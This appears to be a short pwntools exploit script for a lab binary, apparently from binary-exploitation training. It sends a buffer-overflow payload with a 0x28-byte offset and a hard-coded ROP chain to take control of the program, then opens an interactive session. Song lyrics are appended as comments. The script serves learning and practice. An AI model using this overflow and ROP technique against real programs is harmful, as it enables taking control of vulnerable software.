# +------------------------------------------------+
# | Atack: Bof System                              |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

from pwn import *
import time
import sf

target = process("./Correction-BofSystem-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x28)
rop_chain = [4198931, 4202512, 4198448]
bof_payload.add_rop_chain(rop_chain)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Distrubed                              |
# +------------------------------------------------+
# | Song: The Night                                |
# +------------------------------------------------+
# | For saving me from all they've taken,          |
# | Let my honor fall again,                       |
# | Giving me the strength to face them,           |
# | Feeling it taking over now                     |
# +------------------------------------------------+

